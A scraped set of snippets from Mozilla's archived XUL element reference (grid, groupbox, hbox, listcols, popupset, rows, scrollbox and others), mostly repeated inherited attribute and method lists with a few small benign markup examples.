... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
dropmarker - Archive of obsolete content
examples properties accessibletype attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, g...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
grid - Archive of obsolete content
ArchiveMozillaXULgrid
<textbox id="user"/> </row> <row> <label value="group"/> <menulist> <menupopup> <menuitem label="accounts"/> <menuitem label="sales" selected="true"/> <menuitem label="support"/> </menupopup> </menulist> </row> </rows> </grid> </groupbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements columns, column, rows, row.
grippy - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style,...
... template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelem...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
groupbox - Archive of obsolete content
properties accessibletype examples <groupbox> <caption label="settings"/> <radiogroup> <radio label="black and white"/> <radio label="colour"/> </radiogroup> <checkbox label="enabled"/> </groupbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, g...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider ...
hbox - Archive of obsolete content
ArchiveMozillaXULhbox
example <!-- two button on the right --> <hbox> <spacer flex="1"/> <button label="connect"/> <button label="ping"/> </hbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements box, vbox ...
listcol - Archive of obsolete content
<listhead> <listheader label="first"/> <listheader label="last"/> </listhead> <listcols> <listcol flex="1"/> <listcol/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements listbox, listcell, listcols, listhead, listheader, listitem ...
listcols - Archive of obsolete content
example <!-- creates a two column listbox --> <listbox> <listcols> <listcol flex="1"/> <listcol flex="1"/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements listbox, listcell, listcol, listhead, listheader, listitem ...
member - Archive of obsolete content
properties child, container examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
page - Archive of obsolete content
ArchiveMozillaXULpage
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens...
...(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
popupset - Archive of obsolete content
examples <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> <label value="right click for popup" context="clipmenu"/> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements popup, menupopup ...
progressmeter - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
query - Archive of obsolete content
ArchiveMozillaXULquery
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
queryset - Archive of obsolete content
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inhe...
...rited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuser...
...data, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
row - Archive of obsolete content
ArchiveMozillaXULrow
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, columns, column, rows.
rows - Archive of obsolete content
ArchiveMozillaXULrows
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, columns, column, row.
script - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
scrollbox - Archive of obsolete content
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
scrollcorner - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width prope...
...rties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getf...
...eature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
separator - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
spacer - Archive of obsolete content
